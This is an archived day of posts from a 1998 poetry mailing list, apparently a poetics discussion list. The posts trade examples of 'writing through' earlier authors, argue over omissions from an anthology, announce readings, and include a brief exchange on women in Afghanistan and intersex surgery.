578. Hank Lazer
Re: "writing through"
Fri 24 Apr 1998

---

see also "H's Journal" (in my _3 of 10_, Chax Press) --
autobiography, journal, poem via Henry David Thoreau's Journal
and the writings of various other H's...

Hank Lazer

↑ Index

579. Douglas Barbour
Re: a more serious query
Fri 24 Apr 1998

Jonathan Mayhew asks:

<<I do have a more serious poetics question. I am thinking about genre in which a poet "writes through" the work of a precursor. Duncan's H.D. book or his homage to Stein, Spicer's _After Lorca_, Cage's "writing through" various authors (Pound, Joyce, etc...), Rothenberg's _The Lorca Variations_.

1. Any other good examples of this occur to any of you?
2. What would be a good name for this "genre"?>>

1. Something similar is going on in the work of bpNichol or Steve Mccaffery when they 'translate' writing already in English, as in McCaffery's wonderful _Intimate Distortions: a displacement of Sappho_ which rewrote Mary Barnard's translations of Sappho.

2. The term for this is 'homolinguistic translation,' which Stephen Scobie & I also used in our collection of same, _The Pirates of Pen's Chance_. Others have tried various forms of same. It is both homage & inheritence, a new poem made out of, somehow, an older one.

Homolinguistic translation is not the only way this is done, but it is great fun.

There's also George Bowering's _Kerrisdale Elegies_, a re/vision from contemporary Vancouver of Rilke's great poem.

If I had time I'm sure I could think of more...Zukofsky's Catullus work, for example, surely set an example for some of what I'm pointing to here...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

LITTORAL EXPLORATIONS >OUT OF IMAGE<: convergences of sound, speech and the seen

Alaric Sumner (words/voice) and John Levack Drever (electroacoustic sound-scapes) talk about 'out of image (sandra blow)', their site specific collaboration created in response to, and perfomed with, the paintings/collages of Sandra Blow RA during her exhibition at the New Millennium, St. Ives on 25 July 1997. A St Ives Quality of Light (Peninsula Project) event.

5pm PTC, Control Room 1: Complete CD will be played
6pm Higher Close M.R.: Seminar (with selections from CD)

mailto:[redacted]

Performance Writing
Dartington College of Arts
Totnes
Devon TQ9 5SQ

http://www.dartington.ac.uk/prospectus/pw.html

↑ Index

581. **Judy Roitman**
Re: a more serious query
Fri 24 Apr 1998

> *Jonathan Mayhew asks:*
>
> *<<I do have a more serious poetics question. I am thinking about genre in which a poet "writes through" the work of a precursor. Duncan's H.D. book or his homage to Stein, Spicer's _After Lorca_, Cage's "writing through" various authors (Pound, Joyce, etc...), Rothenberg's _The Lorca Variations_.*
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> *1. Any other good examples of this occur to any of you?*
> *2. What would be a good name for this "genre"?>>*
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> *great fun.*
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> *There's also George Bowering's _Kerrisdale Elegies_, a re/vision from contemporary Vancouver of Rilke's great poem.*
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> *If I had time I'm sure I could think of more...Zukofsky's Catullus work, for example, surely set an example for some of what I'm pointing to here...*
>
> *==========*
> *Douglas Barbour*

I think we may have slipped into another category, but Anne Carson's translations of whoever begin to fit. (Not sure how many have appeared in books, over the years have appeared in print.)

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

↑ Index

582. sylvester pollet

Poetry/Jazz event

Fri 24 Apr 1998

Tonight in Bangor, Maine, 8:00. Kathleen Lignell Ellis, Terrell Hunter, John Burns, Sylvester Pollet, reading their own stuff & work of others with music of Dr. Jay Bregman & his Neoboppers--Welch Everman, trumpet, Jim Frick , guitar & congas, Dr. Jay, alto, and Bart-the-bass. I'm going to read two poems of Stuart Z. Perkoff in the first set:" Bird, an elegy for charles parker, musician," and "Blues for Billie Holiday." Second set a new piece of mine, "First Will & Testament." The Perkoff pieces come from his forthcoming book Voices of the Lady: Collected Poems. National Poetry Foundation, 1998. It's a terrific book, 475 pages, foreword by Creeley. We just received advance review copies--the book will be out officially in July. To respond belatedly on the "what to do with 'bad' words in a kid-laden environment" thread: I'm muting two words in the Bird poem--cock to joint, and fucking to humping. Normally I'm a total purist on such matters, but in this instance a lot of parents & kids will be hearing it, miked, by accident--not by having chosen to go to an arts event. Stuart-in-heaven, I apologize. Welch will be muting his horn, too.

↑ Index

583. **groberts**
Re: "writing through"
Fri 24 Apr 1998

What about a poem such as Zukofsky's sestina "Mantis" and its companion poem "An Interpretation"? If one thinks that it is a good idea to consider "writing-through" poems as part of a genre, then these two poems along with many other examples of intertextual poetics should complicate or at least make more interesting the task of defining the rules of selection for such a genre. Is writing-through different than quotation or allusion? What about Zuk's uses of Marx's Capital?

Gary R.

↑ Index

584. **Mark Prejsnar**
Re: a more serious query
Fri 24 Apr 1998

I'm a little startled that only one response has so far mentioned Mac Low...(and then just one of his pieces that writes through); to myself and a number of acquaintances, Mac Low is the exemplary instance of really interesting writing-through strategies...

There is an interesting difference between basing a work of poetry on a "privileged text," such as Virgina Woolf, and a humble text...Different implied weights, attitudes, different tonalities about the democracy or otherwise of writing. An example of using a humble text (and it is an astonishing, very exciting poem) is Sentences, by Charles O. Hartman and Hugh Kenner, which is based on a nineteenth-century elementary school usage primer, manipulated using two computer programs written by the poets.

The Atlanta poet John Lowther frequently uses writing-through techniques, and some of his work, derived from secondary texts on Duchamp (and part of a large work-in-progress related to Duchamp) will be appearing Misc. Proj. These utilize the "stoppage" forms Duchamp used in his work, and are a complex, jazzy sequence of lyrics called Stoppages.

Finally, I may be about to shock Bill Freind a bit as he may not have quite received my reply, but I'd mention some recent work of his, utilizing synonymic parallel structures to manipulate well-know anthology pieces (Robert Frost, Richard Wilbur) as some of the funniest and lovliest writing I've seen in a while; some will appear in Misc. Proj, and hopefully others will show up elsewhere....

Mark Prejsnar
@lanta

↑ Index

585. **ScoutEW**
Re: The Book of Absences
Fri 24 Apr 1998

Silliman give em a break.. if you think there should be inclusions then go edit your own anthology..

↑ Index

586. **MAXINE CHERNOFF**
Re: The Book of Absences
Fri 24 Apr 1998

I'd agree that anthologizing (and editing anything, for that matter) is very personal, as Silliman's list, also full of exclusions, indicates.

Maxine Chernoff

On Fri, 24 Apr 1998, ScoutEW wrote:

> *Silliman give em a break.. if you think there should be inclusions then go edit your own anthology..*

↑ Index

587. **MAXINE CHERNOFF**
Re: a more serious query
Fri 24 Apr 1998

More writing through in Paul Hoover's Viridian where "South of X" is written from his own Viet Nam novel, Saigon, Illinois, and several other pieces are written through Duras "The Lover" and James M. Cain's "Postman Always Rings Twice." Maxine Chernoff

On Fri, 24 Apr 1998, Taylor Brady wrote:

> *The list might include, off the top of my head and allowing for rather permeable boundaries between "writing-through" and criticism; poetry and fiction; homages to single authors and works that, cento-like, string together quotes from / readings of multiple sources:*
>
> *Kathy Acker -- prominent placement of Genet and William Gibson texts in Empire of the Senseless, Faulkner in In Memoriam to Identity*

> *Bruce Andrews' Dante project (title escapes me at present)*
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> *Dodie Bellamy -- The Letters of Mina Harker (ok, based on what I've read so far, Dracula is more a jumping-off point than a constant reference -- but it ain't Mina Harker for nothing)*
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> *my own Is Placed / Leaves*
>
> *Clark Coolidge -- The Rova Improvisations and liner notes to ROVA's album The Crowd (do musicians count in this?)*
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> *Samuel R. Delany -- Atlantis: Model 1924*
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> *Rosmarie Waldrop -- The Reproduction of Profiles and Lawn of Excluded Middle (Wittgenstein)*
>
> *Rosmarie and Keith Waldrop -- "Words Worth Less" (well, you know . . .)*

Louis Zukofsky -- Bottom: On Shakespeare

For most of these, I would wholly agree with Don Byrd that the attempt to assign a genre seems a shaky proposition at best. One might instead look at the ways such work seeks to reconfigure and destabilize genre. One of the projects of the writing-through / adaptation / homage as practiced by these writers would seem to be the elaboration of a poetics of reading which avoids, on the one hand, an historically-naive voluntarism of the creative act (these are derivative works in Duncan's sense of that term), and, on the other, a fatalistic relation to the sedimented detritus of that history -- genre, tradition, etc. For many of these writers, I see this happening by a dispersal and relocation of genre from the level of structure (the already-achieved within which one writes) to that of construction (the still-contested with which one writes).

-- Taylor Brady
editor, Cartograffiti
http://writing.upenn.edu/AandL/english/pubs/spc/cartograffiti

(a publication of the Small Press Collective)
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MAYHEW wrote:

My tongue in cheek inadvertently hit the list at a time more sombre issues are at the fore (sorry for those mixed metaphors).

I do have a more serious poetics question. I am thinking about genre in which a poet "writes through" the work of a precursor. Duncan's H.D. book or his homage to Stein, Spicer's _After Lorca_, Cage's "writing through" various authors (Pound, Joyce, etc...), Rothenberg's _The Lorca Variations_.

1. Any other good examples of this occur to any of you?
2. What would be a good name for this "genre"?

You may "British Columbia" me-- or post to the list if you think this might be of interest to others as well.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

588. **Maria Damon (Maria Damon)**
Re: a more serious query
Fri 24 Apr 1998

---

seems like we're talking intertextuality by now; jonathan, i assume u had something more specific in mind?

At 11:28 AM 4/24/98, Taylor Brady wrote:
>The list might include, off the top of my head and allowing for rather
>permeable boundaries between "writing-through" and criticism; poetry and
>fiction; homages to single authors and works that, cento-like, string
>together quotes from / readings of multiple sources:
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>-- Taylor Brady
>editor, Cartograffiti
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><HTML>
><BODY TEXT="#000000" BGCOLOR="#FFFFFF" LINK="#003399"
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>
University of Kansas
>
[redacted]
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↑ Index

589. **Taylor Brady**

Re: a more serious query

Fri 24 Apr 1998

The list might include, off the top of my head and allowing for rather permeable boundaries between "writing-through" and criticism; poetry and fiction; homages to single authors and works that, cento-like, string together quotes from / readings of multiple sources:

Kathy Acker -- prominent placement of Genet and William Gibson texts in Empire of the Senseless, Faulkner in In Memoriam to Identity

Bruce Andrews' Dante project (title escapes me at present)

Dodie Bellamy -- The Letters of Mina Harker (ok, based on what I've read so far, Dracula is more a jumping-off point than a constant reference -- but it ain't Mina Harker for nothing)

Robin Blaser -- most of the Image-Nations poems, "Great Companions," the Nerval translations

my own Is Placed / Leaves

Clark Coolidge -- The Rova Improvisations and liner notes to ROVA's album The Crowd (do musicians count in this?)

Samuel R. Delany -- Atlantis: Model 1924

Rachel Blau DuPlessis -- most any of the Drafts

Dan Farrell's writing-through of Bucky Fuller (http://www.erols.com/dfar -- I think that's right)

Bill Griffiths -- Rousseau and the Wicked

Alan Halsey -- A Robin Hood Book and The Text of Shelley's Death

Lyn Hejinian -- Oxota: A Short Russian Novel (shades of Evgeny Onegin)

Joel Kuszai's recent work with the various Renaissance anthologies, which I believe someone else here mentioned

Alice Notley -- Homer's Art and the subsequent epic writing in White Phosphorus and The Descent of Alette

Stephen Ratcliffe -- Campion On Song

Charles Reznikoff's Biblical adaptations

Viktor Shklovsky -- the Cervantes and Laurence Sterne chapters in Theory of Prose

Jalal Toufic -- Over-Sensitivity (if film might be counted as a "source text")

Rosmarie Waldrop -- The Reproduction of Profiles and Lawn of Excluded Middle (Wittgenstein)

Rosmarie and Keith Waldrop -- "Words Worth Less" (well, you know . . .)

Louis Zukofsky -- Bottom: On Shakespeare

For most of these, I would wholly agree with Don Byrd that the attempt to assign a genre seems a shaky proposition at best. One might instead look at the ways such work seeks to reconfigure and destabilize genre. One of the projects of the writing-through / adaptation / homage as practiced by these writers would seem to be the elaboration of a poetics of reading which avoids, on the one hand, an historically-naive voluntarism of the creative act (these are derivative works in Duncan's sense of that term), and, on the other, a fatalistic relation to the sedimented detritus of that history -- genre, tradition, etc. For many of these writers, I see this happening by a dispersal and relocation of genre

from the level of structure (the already-achieved within which one writes) to that of construction (the still-contested with which one writes).

-- Taylor Brady
editor, Cartograffiti
http://writing.upenn.edu/AandL/english/pubs/spc/cartograffiti

(a publication of the Small Press Collective)
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Department of Spanish and Portuguese

University of Kansas

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↑ Index

590. **Robert Hale**
Re: The Book of Absences
Fri 24 Apr 1998

If it's "very personal", then I'm afraid it's VERY POLITICAL as well.

I haven't read the Millennium II, but I did give a glowing review (in the St. Mark's News Letter) to the first volume, precisely because of its contents.

I have to admit, from my perspective, Silliman's list does not bode well for Vol.2. Preconceptions aside, I guess I'd better get a copy and review it, as well.

At 08:53 AM 4/24/98 -0700, you wrote:
>I'd agree that anthologizing (and editing anything, for that matter) is
>very personal, as Silliman's list, also full of exclusions, indicates.
>
>Maxine Chernoff
>
>On Fri, 24 Apr 1998, ScoutEW wrote:
>
>> Silliman give em a break.. if you think there should be inclusions
>> then go edit your own anthology..
>>
>
>

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591. **Jerome Rothenberg**
Re: The Book of Absences
Fri 24 Apr 1998

Oh, Ron ... do you think the best first response to what Pierre and I have attempted is to draw up a list of omissions that the two of us could as well have done (and didn't) if we wanted to follow your example in In the American Tree - something approaching a hundred names listed in your intro (and only three or four of them owned up to in the present note). It is all only too obvious and has the feeling of a cheap shot, which we're all capable of but which makes little sense to me on a first perusal of what you've written. The book tries to be inclusive of the kinds of openings that happened during the time in question - or at least to give a sense of them - and to reduce it without further comment to a question of who's in and who's out is to similarly reduce our lives as poets. But if you think a gathering like this is inevitably a collection of names, then obviously we will have failed (at least for you) in one aspect of what we were after.

By the same token In the American Tree will have failed on that point alone (& even more so), and that is also something that I won't concede.

Affectionately (for all of that),

JERRY

ScoutEW wrote:
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> Silliman give em a break.. if you think there should be inclusions
> then go edit your own anthology..

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592. **Eric Blarnes**
Re: The Book of Absences
Fri 24 Apr 1998

I want to alert everyone to the new Madagascar anthology of poetry in English, SWIMMING WITH THE BUTTERFLIES, just out from Sveeshalm Press. Over 4500 pp of 20th century innovative poetries ranging from Aalso Aarnhem's crypto-hic-haiku, via such names as Beauregard Plasm, Chanella Teems, Leffto Marganato, all the way to Zina Zharlovsky's amazing proto-epic in reverse phonetics, "Llems Rewolf". Indispensable. This book CREATES TIME - as you read! Unusual phenomenon - you open it up at 4 pm (eastern standard, let's say) - and when you finish an hour later it's 2 PM - same day, same time zone!! So delve into this one - AT YOUR LEISURE!!

I'm getting younger every day myself!
- Eric Blarnes

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593. **Laura Moriarty**
Re: a more serious query
Fri 24 Apr 1998

It seems like there is difference between being in some way "possessed" by another writer as Spicer with Lorca and using a text to actually generate the lines as MacLow is more inclined to do - I sense that most writers "write through" in some sense a lot of the time - Lately I've been working with Blake and the I have done much work with Spicer - Do the New York School influenced among you feel less inclined to be textually inspired as opposed to being in relation to experience? Is there such a thing as being more direct?

I remember reading about Sylvia Plath writing with a dictionary on one knee and a thesaurus on the other - Many current writers seem to write with a favorite (or popular or simply found) text on both knees -

BTW - new non - an homage/lament for Kathy Acker by Robin Tremblay-McGaw

Laura

[redacted]
http://socrates.berkeley.edu/~moriarty/

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594.]||kenning||[

Re: a more serious query

Fri 24 Apr 1998

Laura, I think that's an important distinction. I wouldn't say that Waldrop, for instance in The Reproduction of Profiles, is "writing through" Witt. More coming to or bringing him to terms. As for the NYSchool influenced among us: It's too problematic for me to say that "direct" experience, instead of mediated (literary -- "writing through") experience, inspires me moreso. I'd say that Schuyler's "Morning of the Poem" is a typical NYS example of being "possesed" (Baudelaire's skull) which may serve as his sort of writing through. Would your distinction be that between influence and inspiration? My reading serves the former, my living serves the latter. Patrick F. Durgin

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|
k e n n i n g`````````````````````|``
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

On Fri, 24 Apr 1998, Laura Moriarty wrote:

> *It seems like there is difference between being in some way "possessed" by another writer as Spicer with Lorca and using a text to actually generate the lines as MacLow is more inclined to do - I sense that most writers "write through" in some sense a lot of the time - Lately I've been working with Blake and the I have done much work with Spicer -*
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> *http://socrates.berkeley.edu/~moriarty/*

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595. **William Burmeister Prod**
Re: a more serious query
Fri 24 Apr 1998

> *It seems like there is difference between being in some way "possessed" by another writer as Spicer with Lorca and using a text to actually generate the lines as MacLow is more inclined to do - I sense that most writers "write through" in some sense a lot of the time*

Viva la difference! As old T.S. Elliot once said (in the "Phillip Massinger" essay), "goode poets make it into something better, or at least different."

Don't shoot the Massinger!

- Harold Bloom

Laura, could you flash the non URL onto the list? Thanks

Willaim Burmeister

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596. **ScoutEW**
Re: The Book of Absences
Fri 24 Apr 1998

uh hello, yeah I read all of Silliman's post , don't presume pal-o...? I know Silliman edited his own anthology but lets face it, Rothenberg and Joris at least attempted (and this volume is thick enough for a good doorstop) to include different "galleries" of poets and I think they did a great job. Silliman's post seemed strange , I mean who cares if they included Robert Johnson instead of Jim Morrison, Public Enemy got the first page in Norton's Anthology of African-American Literature and if you want to include MC's as poets then people like Kool Keith -Gang Starr- Method Man and the RZA, just to name a few could fill an anthology with their rhymes themselves..that is a whole nother story..sorry if

this seems mean because i have no personal gripes with anyone, I only react to what comes into my mailbox and if we are going to complain about anthologies then we could complain forever..Anthologies are basically an editors choice thing.. You can't please all of the people all of the time so why complain about people left out..Silliman if you were trying to say you could do a better job, then why not out and say it? don't squabble about who was left out, it is useless...

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597. **Aldon Nielsen**
Re: The Book of Laughter and Forgetting
Fri 24 Apr 1998

I thought the personal was the political.

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598. **Billy Little**
Re: The Book of Visibility
Fri 24 Apr 1998

Thanks for posting that reminder Ron,
the who is less important than the breadth of the ommission in one of the best anthologies available,
digging poetry requires digging
nobody's going to give it to you in one click even Jerry Rothenberg who has served poetry all his life and given us so much of what we need these past three decades
and the who IS very important for those starting out as pointers
poetry makes demands on its practitioners Duncan taught us
Spicer put it: you'll be punished for your visibility.

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599. **Laura Moriarty**
Re: a more serious anthology
Fri 24 Apr 1998

About anthologies - There clearly is no one anthology - as we tend to imagine there was with the famous ones of the past - many of which however also don't include key people (Zukovsky, Niedecker etc) - Any reader needs a pile of them and that at least is good - It is hard on writers to be excluded (I've been both in and out) though of course it helps when the writers you are crazy about are also ignored - and rage can be honorable - And it isn't just career but needing to feel recognized as being part of a community that one has worked to be part of -

> *Laura, could you flash the non URL onto the list? Thanks*
>
> *Willaim Burmeister*

Sorry - I try to have it planted in my signature but am not sure it occurs each time -

http://socrates.berkeley.edu/~moriarty/

[redacted]
http://socrates.berkeley.edu/~moriarty/

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600. **k. lederer**
Re: writing through others--Ronell and Corless-Smith
Fri 24 Apr 1998

Speaking of writing through other texts--through the voices and tonalities of other writers....

Mortin Corless-Smith gave a wonderful reading last night at Prairie Lights. He read primarily from his new book OF PISCATOR--but also read some selections from a new (so far) chapbook-length series entitled Worcestershire, Mass.

In much of his work Martin writes through such 'archaic' voices as Dorothy Wordsworth, Basil Bunting, and others...

Martin doesn't footnote his sources.

It struck me last night that there was a big difference between what in OF PISCATOR seems like a resuscitation of 'sincerity' through the medium of archaism (I would argue that Moxley in her IMAGINATION VERSES makes similar moves...) and a more canonically oriented poetics of citation (something along the lines of Jorie Graham's MATERIALISM in which the speaker doesn't take on the voices of precursors, but rather dialogues with them)....

It seems to me that a major aspect of writing through (and maybe this is a matter of what someone else here deemed the sub-genre of the homage) other writers and voices is that of citation.

Best,
Katy

Some poems by Martin Corless-Smith:

Day beats breathes
bye derkenesse is

I'l from the light
take up the flamy branch
to shadow-wise

let me behind your trolley
word after passes word
we dreamt community

---

noon-glass under water
watch yr st
eyes, dreams, lips and the night goes
brode, Queen, black gown

jug jug jug jug rush down to the
death death death cries
or blood blood

---
and in lowly accents
he says the rest
trut in words
per you may catch this
on the hill Epsom, Capitol
in hevyn on hight
stern--o value stern of heven
all briht in boure
(Space of one line)
Section XI (end of section, shace of 5 lines)
I'm try to pleas
with swords like leaves and horses wear coats
feastal in valley
previous the fish we choke I choke
responsible random the last quarter
So Sargus the fish quit the sea
to lie with the she-goat in her pasture

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601. **Charles Bernstein**
Olivier Cadiot NY reading
Fri 24 Apr 1998

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forwarded
From: Christophe Ippolito <[redacted]>

It is our pleasure to announce the lecture of Olivier Cadiot at Columbia University French House, Tuesday April 28 1998 at 8pm. Olivier Cadiot is a French poet and novelist. He is also the general editor of the Revue de Litterature Generale in Paris, France. He will read from his work and comment on the situation of French poetry today, including the perspectives for translations. Currently working with the publisher P.O.L. along with Pierre Alferi, he has been instrumental in helping to develop new trends in French literature in recent years. The lecture will be moderated by Chet Wiener, Columbia University.

The French House is located on Columbia University Main Campus, Bway and 116 Street, in Buell Hall (a small red-bricked house in the middle of the campus, near the chapel), first floor, East Gallery.

Again, the date is April 28, 1998 at 8:00 p.m.

For the Poetry Discussion Group and its members.

For more information please contact:
Chester Wiener [redacted]
Christophe Ippolito, French House [redacted]

A wine and cheese reception will be held after the lecture.

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602. **groberts**
Re: The Book of Absences
Fri 24 Apr 1998

It's funny that the contents of this anthology are defended on "very personal" grounds (granted, not by its editors), but that some other anthology with a different editor, or focus, or purpose, might be attacked on ideological grounds, e.g. Weinberger's anthology of a few years back, or anything put together by "official verse culturists." I may be reasonable to assume that all anthologists have some combination of personal and "x" (ideological, poetic, critical, historical, etc.) reasons for what they do and do not include. I may be reasonable to expect that poems and not names are driving the fame train. I also may be reasonable to think that we need a more subtle conversation about this than "personal vs. political" arguments would suggest.

Gary R.

↑ Index

603. **]||kenning||[**
Re: The Book of Absences
Fri 24 Apr 1998

It is not useless to draw one's attention to the gaps. I don't read Ron Silliman's post as a squabble but as an alert. Sure, the nature of anthologizing demands that we raise these alerts, since I think we all might agree these tomes are frequently mis-construed as a "shelf" in of themselves. The anthologies in question, by the way, are structured in such a way as to preclude such mishandling . . . although perhaps the title is a bit ambitious. -- Patrick F. Durgin

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k e n n i n g``````````````|```````````````````````````
a newsletter of contemporary |poetry,  poetics,  and  non-fiction writing
                    |418 Brown St. #10  Iowa City, IA 52245  USA
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604. **k. lederer**
EXPLOSIVE benefit--IOWA
Fri 24 Apr 1998

Announcing:

A benefit event to celebrate the publication of EXPLOSIVE MAGAZINE #5

Monday, May 4th
@ Jen Hofer's house
Iowa City:
714 Kirkwood Avenue
8:00 pm

Lots of food, drink, and readings by Emily Wilson, Tina Celona, Josh Bell, Joe Milford, Nick Twemlow, Sathosh Daniel and others....

COME!

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605. **Taylor Brady**
Re: a more serious query
Fri 24 Apr 1998

Maria Damon wrote:

seems like we're talking intertextuality by now; jonathan, i assume u
had
something more specific in mind?

Looking over my list again, it does seem to me there's a fairly broad definition of "writing-through" at work. This breadth, though, is something I find in the post which started this thread: surely, any definition of writing-through which might include both Word nd Ends from Ez and The H.D. Book begs a bit of latitude in the application. I agree with you that we're talking about intertextuality here -- but not just any intertextuality. The works I've cited all involve in some measure a sustained engagement with the features of another's work -- whether they be character, narrative arc, or the "actual" words in the "actual" order -- as a means of elaborating a writer's "own" poetics. In other words, this is a far different intertextuality from the mere distribution of cultural markers across the surface of a text.

I wouldn't make so much of this -- especially since, fine points aside, I'm basically in agreement with you about the unwieldiness of what this "writing-through" category has become -- if it weren't for the positioning of intertextuality as the postmodern device par excellence, and the assumption, in much recent literary study, of a kind of default progressive valence for it. I'd claim, rather, that it's entirely possible to operate within the confines of a reactionary historical narrative of fate while producing even the most thoroughly intertextual work.

This is surely the message of much poetic work which seeks to revive, rather than to rewrite or reinhabit, some sense of "tradition" held in stasis through an obligatory repertoire of citations, forms, and allusions -- the purely negative

sense that Romanticism, or high Modernism, or whatever, is still writing our texts for us. Compare the conservative side of the American university's reception of deconstruction, whose credo might run, "We'll get around to changing the world only after we've finally settled our accounts with the Phaedrus." Intertextuality in these cases is simply an index of the writer's residence in the "prison-house of language" -- and nary a plan for jailbreak in sight. To put it another way: intertextuality is the status of the archive before anyone does any work on it one way or the other.

The works I've cited as instances of a broadly interpreted "writing-through," by contrast, are invested in an interventionist or constructivist relation to the archive -- the imagination that one might use the cinderblock and rebar of the prison-house to build apartments, or roller derby rinks. All in all, I'd say you're right that the list might not have been precisely what Jonathan was looking for (though I think The H.D. Book bear some of the responsibility for that category-confusion), but I'd like to avoid collapsing the whole thing onto a catch-all notion of intertextuality. Maybe the distinction is one between the citational and the polemical intertext? Just a thought.

All best,

-- Taylor Brady
editor, Cartograffiti
 http://writing.upenn.edu/AandL/english/pubs/spc/cartograffiti

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<I>something more specific in mind?</I>

<I></I>

<P>Looking over my list again, it does seem to me there's a fairly broad definition of "writing-through" at work. This breadth, though, is something I find in the post which started this thread: surely, any definition of writing-through which might include both <I>Word nd Ends from Ez</I> and <I>The H.D. Book</I> begs a bit of latitude in the application. I agree with you that we're talking about intertextuality here -- but not just any intertextuality. The works I've cited all involve in some measure a sustained engagement with the features of another's work -- whether they be character, narrative arc, or the "actual"

words in the "actual" order -- as a means of elaborating a writer's "own" poetics. In other words, this is a far different intertextuality from the mere distribution of cultural markers across the surface of a text.

<P>I wouldn't make so much of this -- especially since, fine points aside, I'm basically in agreement with you about the unwieldiness of what this "writing-through" category has become -- if it weren't for the positioning of intertextuality as the postmodern device <I>par excellence</I>, and the assumption, in much recent literary study, of a kind of default progressive valence for it. I'd claim, rather, that it's entirely possible to operate within the confines of a reactionary historical narrative of fate while producing even the most thoroughly intertextual work.

<P>This is surely the message of much poetic work which seeks to revive, rather than to rewrite or reinhabit, some sense of "tradition" held in stasis through an obligatory repertoire of citations, forms, and allusions -- the purely negative sense that Romanticism, or high Modernism, or whatever, is still writing our texts for us. Compare the conservative side of the American university's reception of deconstruction, whose credo might run, "We'll get around to changing the world only after we've finally settled our accounts with the <I>Phaedrus</I>." Intertextuality in these cases is simply an index of the writer's residence in the "prison-house of language" -- and nary a plan for jail-break in sight. To put it another way: intertextuality is the status of the archive before anyone does any work on it one way or the other.

<P>The works I've cited as instances of a broadly interpreted "writing-through," by contrast, are invested in an interventionist or constructivist relation to the archive -- the imagination that one might use the cinderblock and re-bar of the prison-house to build apartments, or roller derby rinks. All in all, I'd say you're right that the list might not have been precisely what Jonathan was looking for (though I think <I>The H.D. Book</I> bear some of the responsibility for that category-confusion), but I'd like to avoid collapsing the whole thing onto a catch-all notion of intertextuality. Maybe the distinction is one between the citational and the polemical intertext? Just a thought.

<P>All best,

<P>-- Taylor Brady

editor, <I>Cartograffiti</I>

 <A HREF="http://writing.upenn.edu/AandL/english/pubs/spc/cartograffiti">http://writing.upenn.edu/AandL/english/pubs/spc/cartograffiti</A>

<P>(a publication of the Small Press Collective)

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.edu/AandL/english/pubs/spc</A>
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606. Fred Muratori
Re: The Book of Absences
Fri 24 Apr 1998

Poor Bronk -- Hoover skipped him (and Oppen!) in the Norton Postmod, too. Like Ron Silliman, I also get annoyed with omissions (moreso than with inclusions), especially when the anthologists are acknowledged experts who know what they're doing, but I also know that some exlusions are attributable to nasty permissions offices, greedy estate executors, untraceable heirs, and other agents beyond the anthologist's control. If anything, Ron's star-studded list proves just how much worthy stuff is out there, in spite of those depressing moments when it seems like it's all just contempo Wordsworth.

-- Fred M.

****
Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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607. Loss Pequen~o Glazier
New at the EPC
Fri 24 Apr 1998

Pages recently added or updated at the EPC:

Close Listening edited by Bernstein
Creeley: Life & Death
Poems for the Millennium, Vol. Two
Creeley Cortland Interview
Harryette Mullen Author Page
Passages: Eigner Issue

Hilda Morley, 1919-1998
Nick Piombino Author Page
Rachel Blau DuPlessis Author Page
EPC Statistics

You can find links to these under "New" from the EPC Home Page
http://writing.upenn.edu/epc

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608. **Douglas**
Re: a more serious query
Fri 24 Apr 1998

Jonathan,

My new book of poetry, AFTER, will be published in
a few weeks. It's completely about these issues and
is a true example of the genre. I even have one poem
after Spicer after Lorca.

Douglas Messerli

MAYHEW wrote:
>
> My tongue in cheek inadvertently hit the list at a time more sombre issues
> are at the fore (sorry for those mixed metaphors).
>
> I do have a more serious poetics question. I am thinking about genre in
> which a poet "writes through" the work of a precursor. Duncan's H.D. book
> or his homage to Stein, Spicer's _After Lorca_, Cage's "writing through"
> various authors (Pound, Joyce, etc...), Rothenberg's _The Lorca
> Variations_.
>
> 1. Any other good examples of this occur to any of you?
> 2. What would be a good name for this "genre"?
>
> You may "British Columbia" me-- or post to the list if you think this
> might be of interest to others as well.
>
> Jonathan Mayhew
> Department of Spanish and Portuguese
> University of Kansas
> [redacted]
> [redacted]

↑ Index

609. **Maz881**
Re: Bachelard's take
Fri 24 Apr 1998

<<I think in the situation of women in Afganistan, like the situation of female genital mutilation, is one of conscience. If you are watching it and it strikes you it is torture, mustn't you reach out to stop it? I would just caution that before judging the tortures of other cultures we make sure we are vigilant of what is happening in our own. How many of us grew up in homes where there existed a conspiracy of silence around sexual, verbal or physical abuse?

rdl>>

yes that is the question. or questions Rachel. thank you for stating it that way. in addtion to sexual and other forms of abuse, we should think about "our" own genital mutilation that is often rendered on peoples born with "ambiguous genitalia" or so-called intersexuals. one american doctor was recently quoted like this when asked about why he cuts:

"I don't think it's an option for nothing to be done. I don't think parents can be told this is a normal girl, and then have to be faced with what looks like an enlarged clitoris, or a penis, every time they change the diaper. We try to normalize the genitalia to the gender to reduce psychosocial and functional problems later in life."

You all can read more about this on the Intersex Society of North America Web Site: http://www.isna.org/

Bill Luoma

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610. **Don Wellman**
Re: "writing through"
Fri 24 Apr 1998

the model of writing through that seems most relevant to me --and germane to most of the examples offered -- is H.D.'s use of palimpsest ....

which perhaps also points not so much toward a conception of genre as one of method ...

Don Wellman

↑ Index

611. k. lederer
Women/culture/torture
Fri 24 Apr 1998

Bill and Rachel,

It seems to me that women's situation in Afghanistan is not readily comparable to genital mutilation for religious reasons NOR to the genital mutilation of ambiguously sexed newborns.

To choose to be mutilated for religious reasons (even if this "choice" seems to be the product of coercion),or to have your genitals mutilated at birth without your consent--these do seem comparable to Afghani women "choosing" to wear veils or to stay indoors....

But these examples are not (in my mind) comparable to being STONED TO DEATH for not "choosing"...

It seems to me that the cultural directive in these examples (staying indoors, being unambiguously sexed, having your clitoris removed) is quite distinct from the punishments that are doled out for refusing to comply.

Katy

↑ Index

612. Safdie Joseph
Poetry at the White House, Anthologies
Fri 24 Apr 1998

